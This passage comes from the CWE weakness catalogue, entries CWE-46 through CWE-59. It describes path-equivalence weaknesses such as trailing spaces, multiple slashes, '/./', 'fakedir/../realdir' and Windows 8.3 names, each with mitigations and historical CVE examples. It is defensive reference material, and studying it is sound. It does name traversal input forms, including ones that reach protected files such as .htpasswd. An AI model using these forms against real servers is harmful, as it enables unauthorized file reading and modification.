Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	165	Improper Neutralization of Multiple Internal Special Elements	389
ChildOf	V	44	Path Equivalence: 'file.name' (Internal Dot)	89

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Notes

Relationship

An improper attempt to remove the internal dots from the string could lead to CWE-181 (Incorrect Behavior Order: Validate Before Filter).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Internal Dot - 'file...dir'
Software Fault Patterns	SFP16		Path Traversal

CWE-46: Path Equivalence: 'filename ' (Trailing Space)

Weakness ID : 46 **Status:** Incomplete

Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of trailing space ('filedir ') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	162	Improper Neutralization of Trailing Special Elements	384
ChildOf	B	41	Improper Resolution of Path Equivalence	81
CanPrecede	V	289	Authentication Bypass by Alternate Name	638

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Observed Examples

Reference	Description
CVE-2001-0693	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0693*
CVE-2001-0778	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0778*
CVE-2001-1248	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1248*
CVE-2004-0280	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0280*
CVE-2004-2213	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2213*
CVE-2005-0622	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0622*
CVE-2005-1656	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1656*
CVE-2002-1603	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1603*
CVE-2001-0054	Multi-Factor Vulnerability (MVF). directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0054*
CVE-2002-1451	Trailing space ("+" in query string) leads to source code disclosure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1451*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Trailing Space - 'filedir '
Software Fault Patterns	SFP16		Path Traversal

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
649	Adding a Space to a File Extension

CWE-47: Path Equivalence: ' filename' (Leading Space)

Weakness ID : 47 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of leading space (' filedir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	81

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Leading Space - ' filedir'
Software Fault Patterns	SFP16		Path Traversal

CWE-48: Path Equivalence: 'file name' (Internal Whitespace)

Weakness ID : 48 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	81

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Observed Examples

Reference	Description
CVE-2000-0293	Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0293*
CVE-2001-1567	"+" characters in query string converted to spaces before sensitive file/ extension (internal space), leading to bypass of access restrictions to the file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1567*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Notes

Relationship

This weakness is likely to overlap quoting problems, e.g. the "Program Files" unquoted search path (CWE-428). It also could be an equivalence issue if filtering removes all extraneous spaces.

Relationship

Whitespace can be a factor in other weaknesses not directly related to equivalence. It can also be used to spoof icons or hide files with dangerous names (see icon manipulation and visual truncation in CWE-451).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			file(SPACE)name (internal space)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
Software Fault Patterns	SFP16		Path Traversal

CWE-49: Path Equivalence: 'filename/' (Trailing Slash)

Weakness ID : 49 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of trailing slash ('filedir/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	162	Improper Neutralization of Trailing Special Elements	384
ChildOf	B	41	Improper Resolution of Path Equivalence	81

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Observed Examples

Reference	Description
CVE-2002-0253	Overlaps infoleak *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0253*
CVE-2001-0446	Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0446*
CVE-2004-0334	Bypass Basic Authentication for files using trailing "/" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0334*
CVE-2001-0893	Read sensitive files with trailing "/" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0893*
CVE-2001-0892	Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0892
CVE-2004-1814	Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1814*
BID:3518	Source code disclosure *http://www.securityfocus.com/bid/3518*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			filedir/ (trailing slash, trailing /)
Software Fault Patterns	SFP16		Path Traversal

CWE-50: Path Equivalence: '//multiple/leading/slash'

Weakness ID : 50 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	161	Improper Neutralization of Multiple Leading Special Elements	383
ChildOf	B	41	Improper Resolution of Path Equivalence	81

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Observed Examples

Reference	Description
CVE-2002-1483	Read files with full pathname using multiple internal slash.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1483
CVE-1999-1456	Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1456*
CVE-2004-0578	Server allows remote attackers to read arbitrary files via leading slash (//) characters in a URL request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0578*
CVE-2002-0275	Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0275*
CVE-2004-1032	Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1032*
CVE-2002-1238	Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as http://www.example.com///file/. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1238*
CVE-2004-1878	Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to admin/user.pl preceded by // (double leading slash). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1878*
CVE-2005-1365	Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and ".." sequences. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1365*
CVE-2000-1050	Access directory using multiple leading slash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1050*
CVE-2001-1072	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1072*
CVE-2004-0235	Archive extracts to arbitrary files using multiple leading slash in filenames in the archive. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0235*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			//multiple/leading/slash ('multiple leading slash')
Software Fault Patterns	SFP16		Path Traversal

CWE-51: Path Equivalence: '/multiple//internal/slash'

Weakness ID : 51 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	81

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-1483	Read files with full pathname using multiple internal slash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1483*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			/multiple//internal/slash ('multiple internal slash')
Software Fault Patterns	SFP16		Path Traversal

CWE-52: Path Equivalence: '/multiple/trailing/slash//'

Weakness ID : 52 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash//') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	163	Improper Neutralization of Multiple Trailing Special Elements	386
ChildOf	B	41	Improper Resolution of Path Equivalence	81
CanPrecede	V	289	Authentication Bypass by Alternate Name	638

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-1078	Directory listings in web server using multiple trailing slash *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1078*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			/multiple/trailing/slash// ('multiple trailing slash')
Software Fault Patterns	SFP16		Path Traversal

Weakness ID : 53 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of multiple internal backslash ('\multiple \trailing\\slash') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	165	Improper Neutralization of Multiple Internal Special Elements	389
ChildOf	B	41	Improper Resolution of Path Equivalence	81

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			\multiple\\internal\backslash
Software Fault Patterns	SFP16		Path Traversal

CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash)

Weakness ID : 54 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of trailing backslash ('filedir\') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	162	Improper Neutralization of Trailing Special Elements	384
ChildOf	B	41	Improper Resolution of Path Equivalence	81

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2004-0847	ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path Validation Vulnerability." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0847*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			filedir\ (trailing backslash)
Software Fault Patterns	SFP16		Path Traversal

CWE-55: Path Equivalence: '/./' (Single Dot Directory)

Weakness ID : 55 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of single dot directory exploit ('/./') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	81

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2000-0004	Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0004*
CVE-2002-0304	Server allows remote attackers to read password-protected files via a /./ in the HTTP request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0304*
BID:6042	Input Validation error *http://www.securityfocus.com/bid/6042*
CVE-1999-1083	Possibly (could be a cleansing error) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1083*
CVE-2004-0815	"/.////etc" cleansed to ".///etc" then "/etc" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0815*
CVE-2002-0112	Server allows remote attackers to view password protected files via /./ in the URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0112*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			/./ (single dot directory)
Software Fault Patterns	SFP16		Path Traversal

CWE-56: Path Equivalence: 'filedir*' (Wildcard)

Weakness ID : 56 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of asterisk wildcard ('filedir*') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	155	Improper Neutralization of Wildcards or Matching Symbols	371
ChildOf	B	41	Improper Resolution of Path Equivalence	81

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2004-0696	List directories using desired path and "*" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0696*

Reference	Description
CVE-2002-0433	List files in web server using "*.ext" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0433*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			filedir* (asterisk / wildcard)
Software Fault Patterns	SFP16		Path Traversal

CWE-57: Path Equivalence: 'fakedir/../realdir/filename'

Weakness ID : 57 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software contains protection mechanisms to restrict access to 'realdir/filename', but it constructs pathnames using external input in the form of 'fakedir/../realdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	81

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2001-1152	Proxy allows remote attackers to bypass denylist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a /./, or (4) URL-encoded characters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1152*
CVE-2000-0191	application check access for restricted URL before canonicalization *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0191*
CVE-2005-1366	CGI source disclosure using "dirname/../cgi-bin" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1366*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Notes

Theoretical

This is a manipulation that uses an injection for one consequence (containment violation using relative path) to achieve a different consequence (equivalence by alternate name).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			dirname/fakechild/../realchild/filename
Software Fault Patterns	SFP16		Path Traversal

CWE-58: Path Equivalence: Windows 8.3 Filename

Weakness ID : 58 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software contains a protection mechanism that restricts access to a long filename on a Windows operating system, but the software does not properly restrict access to the equivalent short "8.3" filename.

Extended Description

On later Windows operating systems, a file can have a "long name" and a short name that is compatible with older Windows file systems, with up to 8 characters in the filename and 3 characters for the extension. These "8.3" filenames, therefore, act as an alternate name for files with long names, so they are useful pathname equivalence manipulations.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	81

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Windows *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Potential Mitigations

Phase: System Configuration

Disable Windows from supporting 8.3 filenames by editing the Windows registry. Preventing 8.3 filenames will not remove previously generated 8.3 filenames.

Observed Examples

Reference	Description
CVE-1999-0012	Multiple web servers allow restriction bypass using 8.3 names instead of long names *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0012*
CVE-2001-0795	Source code disclosure using 8.3 file name. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0795*
CVE-2005-0471	Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0471*

Functional Areas

- File Processing

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Notes

Research Gap

Probably under-studied

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows 8.3 Filename
Software Fault Patterns	SFP16		Path Traversal

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-59: Improper Link Resolution Before File Access ('Link Following')

Weakness ID : 59 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	706	Use of Incorrectly-Resolved Name or Reference	1360
ParentOf		61	UNIX Symbolic Link (Symlink) Following	110
ParentOf	V	62	UNIX Hard Link	112
ParentOf	V	64	Windows Shortcut Following (.LNK)	114
ParentOf	V	65	Windows Hard Link	116
CanFollow	B	73	External Control of File Name or Path	125
CanFollow	B	363	Race Condition Enabling Link Following	801

